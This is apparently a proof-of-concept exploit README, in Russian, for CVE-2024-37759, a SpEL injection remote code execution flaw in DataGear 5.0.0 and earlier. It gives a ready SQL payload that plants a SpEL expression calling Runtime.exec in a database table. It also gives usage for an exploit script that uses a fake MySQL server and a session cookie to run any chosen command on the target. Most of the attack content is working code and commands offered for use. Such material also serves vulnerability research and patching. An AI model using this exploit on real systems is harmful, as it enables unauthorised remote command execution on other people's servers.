
Эксплоит Proof-of-Concept для CVE-2024-37759, уязвимости внедрения SpEL в DataGear 5.0.0 и более ранних версиях, позволяющей удаленное выполнение кода через специально созданные таблицы базы данных.
DataGear версии 5.0.0 и более ранние содержат уязвимость внедрения SpEL-выражений, что приводит к удаленному выполнению кода.
При запросе интерфейса /data/{schemaId}/{tableName}/view, если таблица базы данных не имеет первичного ключа, злоумышленник может внедрить вредоносное SpEL-выражение в поле data. Когда нажимается кнопка "view", SpEL-выражение будет выполнено.
Для выполнения атаки вы можете создать вредоносную таблицу базы данных следующим образом:
CREATE DATABASE evil;
CREATE TABLE `evil` (
`name` varchar(209) COLLATE utf8mb4_unicode_ci DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
INSERT INTO `evil` VALUES ("#{T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('calc')}");
Затем войдите в систему и добавьте эту базу данных MySQL в интерфейсе добавления схемы: . После этого нажмите кнопку "view", и SpEL-выражение будет выполнено.
/schema/saveAddЭтот эксплойт модифицирован на основе MySQL_Fake_Server. Сначала войдите на портал и получите cookie "JSESSIONID". Затем вы можете использовать этот эксплойт для автоматического выполнения команд.
Аргумент -t указывает целевую уязвимую точку, -o — публичный IP-адрес, где доступен MySQL-фейк-сервер, -p — порт фейк-сервера, -s — значение cookie "JSESSIONID", а -c — команду, которую вы хотите выполнить.
python3.7 exp.py -t "http://localhost:50401" -o "192.168.25.130" -p "3306" -s "B751A41FBE8C3385B386B2365C2FB86D" -c "calc"